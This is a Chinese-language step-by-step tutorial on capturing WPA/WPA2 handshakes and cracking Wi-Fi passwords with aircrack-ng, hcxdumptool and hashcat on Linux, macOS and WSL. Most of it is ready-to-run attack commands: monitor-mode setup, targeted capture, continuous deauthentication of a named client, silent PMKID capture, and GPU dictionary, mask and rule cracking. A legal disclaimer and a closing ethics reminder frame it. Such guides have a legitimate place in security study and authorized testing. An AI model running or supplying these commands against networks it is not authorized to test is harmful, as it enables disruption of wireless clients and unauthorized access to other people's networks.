—— 从监听抓包到 GPU 加速破解(Linux / macOS / Windows / WSL / Hashcat)
最后更新:2026年1月26日
⚠️ 法律声明:本文仅用于授权安全研究、CTF竞赛、密码恢复(如遗忘自家Wi-Fi密码)等合法场景。未经授权对他人网络实施扫描、攻击或破解,违反《中华人民共和国网络安全法》第27条及《刑法》第285条,将承担法律责任。
📚 目录
- 前置知识
- 环境准备
- 抓包阶段:捕获 WPA 四次握手
- 3.1 Linux(推荐)
- 3.2 macOS
- 3.3 Windows / WSL2
- 破解阶段:密码恢复
- 4.1 Aircrack-ng 字典攻击
- 4.2 Hashcat GPU 加速(现代标准)
- 4.3 格式转换工具(
hcxpcapngtool)
- 高级技巧与优化
- 善后与恢复
- 附录:资源与常见错误
1. 前置知识
🔑 WPA/WPA2 认证流程简述
- WPA/WPA2 使用 四次握手(4-way handshake) 生成会话密钥(PTK),不直接传输密码。
- 攻击目标:捕获该握手过程中的 EAPOL 数据包(含
ANonce,SNonce,MIC),用于离线验证密码。 - 密码空间极大:8–63 字符(大小写字母+数字+符号),暴力破解成本极高 → 需依赖字典/规则/掩码 + GPU 加速
📁 关键文件格式
| 格式 | 用途 | 工具支持 |
|---|---|---|
.cap |
原始抓包文件(含 Beacon、Probe、EAPOL) | airodump-ng, Wireshark |
.hc22000 |
Hashcat 专用 WPA2 哈希格式(含 PMKID/EAPOL 信息) | hashcat -m 22000 |
.hccapx |
旧版 Hashcat 格式(已弃用) | ❌ 不推荐 |
✅ 现代标准:使用
hcxpcapngtool直接导出.hc22000,兼容 PMKID 与 EAPOL。
2. 环境准备
| 平台 | 推荐工具链 | 安装命令 |
|---|---|---|
| Linux (Debian/Ubuntu/Kali) | aircrack-ng, hcxtools, hashcat |
sudo apt install aircrack-ng hashcat``git clone https://github.com/ZerBea/hcxtools && make |
| macOS | airport, homebrew, aircrack-ng |
brew install aircrack-ng |
| Windows | WSL2 + Linux 工具 或 原生 Aircrack-ng(限部分网卡) | 下载 Aircrack-ng for Windows;或启用 WSL2 |
| GPU 加速 | NVIDIA (CUDA) / AMD (ROCm/OpenCL) | 安装对应驱动 + hashcat |
⚠️ 注意:
- 无线网卡需支持 Monitor Mode(如 Intel AX200、RTL8812AU、Alfa AWUS036ACH)
- 虚拟机中 USB 网卡可能无法开启监听模式 → 建议物理机操作
3. 抓包阶段:捕获 WPA 四次握手
3.1 Linux(推荐流程)
步骤 1:安装与检查网卡
sudo apt update && sudo apt install aircrack-ng hcxtools
sudo airmon-ng
输出示例:
PHY Interface Driver Chipset
phy0 wlp8s0 iwlwifi Intel Centrino Wireless-N 2230
步骤 2:开启监听模式
sudo airmon-ng start wlp8s0
# 输出:wlp8s0mon 已创建
步骤 3:扫描目标 AP
sudo airodump-ng wlp8s0mon
📌 关注字段:
BSSID:AP MAC 地址CH:信道(后续需指定)PWR:信号强度(越接近 0 越强)ENC:应为WPA2#Data:数据包数量(越高越易触发握手)
💡 技巧:按
Ctrl+C退出前,记录目标 BSSID 与 CH。
步骤 4:定向捕获 + 触发握手
# 启动捕获(保存为 android-01.cap)
sudo airodump-ng -w android -c 6 --bssid 22:47:DA:62:2A:F0 wlp8s0mon
# 新终端:发送 DeAuth 包强制客户端重连
sudo aireplay-ng -0 0 -a 22:47:DA:62:2A:F0 -c AC:BC:32:96:31:8D wlp8s0mon
✅ 成功标志:airodump-ng 状态栏出现[ WPA handshake: 22:47:DA:62:2A:F0 ]
步骤 5:停止监听
sudo airmon-ng stop wlp8s0mon
3.2 macOS(受限方案)
⚠️
airmon-ng在 macOS 不可用;仅能通过airport抓包,无法主动触发握手,依赖自然连接事件
步骤 1:扫描网络
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 scan
输出示例:
SSID BSSID RSSI CHANNEL HT CC SECURITY
小米手机 22:47:da:62:2a:f0 -29 6 Y -- WPA2(PSK/AES/AES)
步骤 2:抓包(自动保存至 /tmp/airportSniff*.cap)
sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6
# 按 Ctrl+C 停止
步骤 3:转换并破解(需在 Linux/WSL 中完成)
# 将 cap 传入 Linux 环境后:
hcxpcapngtool -o target.hc22000 /tmp/airportSniff*.cap
hashcat -m 22000 -a 0 target.hc22000 rockyou.txt
3.3 Windows / WSL2
方案 A:WSL2 + 物理 Linux 网卡(推荐)
- 在 Windows 主机启用 WSL2
- 将支持 Monitor Mode 的 USB 网卡直通给 WSL2(需 Windows 11 + 内核 5.10+)
- 在 WSL2 中执行完整 Linux 流程(同 §3.1)
方案 B:原生 Windows Aircrack-ng(局限性大)
- 仅支持部分网卡(如 Alfa AWUS036NH)
- 无
aireplay-ngDeAuth 功能(部分版本缺失) - 建议仅用于抓包,破解仍移交 Linux/Hashcat
4. 破解阶段:密码恢复
4.1 Aircrack-ng 字典攻击(CPU,适合小字典)
aircrack-ng -w ./wordlists/common.txt android-01.cap
输出示例:
KEY FOUND! [ 1234567890 ]
Master Key : A8 70 17 ...
✅ 优点:简单直接;❌ 缺点:速度慢(~1–10 kH/s),仅适合弱口令(如
12345678)
4.2 Hashcat GPU 加速(现代标准)
步骤 1:转换 .cap → .hc22000
# 推荐:使用 hcxpcapngtool(支持 PMKID + EAPOL)
hcxpcapngtool -o android.hc22000 android-01.cap
# 或旧版(不推荐)
cap2hccapx.bin android-01.cap android.hc22000
步骤 2:Hashcat 破解命令(新版语法)
| 攻击类型 | 命令示例 | 说明 |
|---|---|---|
| 字典攻击 | hashcat -m 22000 -a 0 android.hc22000 rockyou.txt |
最常用 |
| 规则增强 | hashcat -m 22000 -a 0 android.hc22000 rockyou.txt -r rules/best64.rule |
自动变形(如 password → Password123) |
| 掩码攻击 | hashcat -m 22000 -a 3 android.hc22000 ?d{8,10} |
8–10位纯数字 |
| 混合攻击 | hashcat -m 22000 -a 6 android.hc22000 rockyou.txt ?d?d |
字典+后缀数字 |
📊 性能参考(RTX 4090):
- WPA2(PBKDF2-SHA1, 4096轮):≈ 250 kH/s
- 10位纯数字(10¹⁰组合):≈ 11 小时
- 实际中因网络波动/设备休眠,建议优先用字典+规则
步骤 3:查看结果
hashcat --show -m 22000 android.hc22000
# 输出:22:47:DA:62:2A:F0:AndroidAP:1234567890
5. 高级技巧与优化
🔍 使用 hcxdumptool 直接捕获(无需 DeAuth!)
# 优势:静默获取 PMKID(无需客户端在线)
sudo hcxdumptool -i wlp8s0mon -o capture.pcapng --enable_status=1
# 后续同样用 hcxpcapngtool 转换
🧩 字典策略优化
| 类型 | 推荐来源 | 说明 |
|---|---|---|
| 通用字典 | rockyou.txt |
14M 条常见密码 |
| 本地化字典 | SecLists/Passwords/ |
含中文、生日、手机号等 |
| 规则集 | hashcat/rules/ |
best64.rule, d3ad0ne.rule |
🌐 分布式破解
- 使用
hashcat -S+hashtopolis管理多节点 - 或脚本分片:
?l?d{6}→ 拆为?l?d{6} --skip=0 --limit=1000000
6. 善后与恢复
# 停止监听(Linux)
sudo airmon-ng stop wlp8s0mon
# 清理临时文件
rm *.cap *.hc22000 *.csv
# 检查网卡状态
iw dev wlp8s0 info # 应显示 type managed
✅ 确保无线网卡恢复正常上网功能后再离开终端!
7. 附录:资源与常见错误
🔗 核心工具仓库
| 工具 | 链接 |
|---|---|
| Aircrack-ng | https://aircrack-ng.org |
| hcxtools | https://github.com/ZerBea/hcxtools |
| Hashcat | https://hashcat.net/hashcat/ |
| SecLists(字典合集) | https://github.com/danielmiessler/SecLists |
❗ 常见错误排查
| 现象 | 原因 | 解决方案 |
|---|---|---|
No handshake captured |
信道不匹配 / 客户端未重连 | 检查 -c 参数;用 hcxdumptool 替代 |
Invalid cap file |
文件损坏 / 非 802.11 抓包 | 用 capinfos android-01.cap 检查 |
OpenCL error(Hashcat) |
驱动不兼容 | 更新 NVIDIA/AMD 驱动;用 hashcat -I 查看设备 |
ioctl(SIOCSIWMODE) failed |
网卡不支持 monitor mode | 更换网卡(推荐 Alfa AWUS036ACH) |
📌 最后提醒:
安全是责任,不是能力的炫耀。
请始终遵守 最小权限原则 与 授权边界,让技术服务于防护,而非破坏
© 版权声明
THE END









暂无评论内容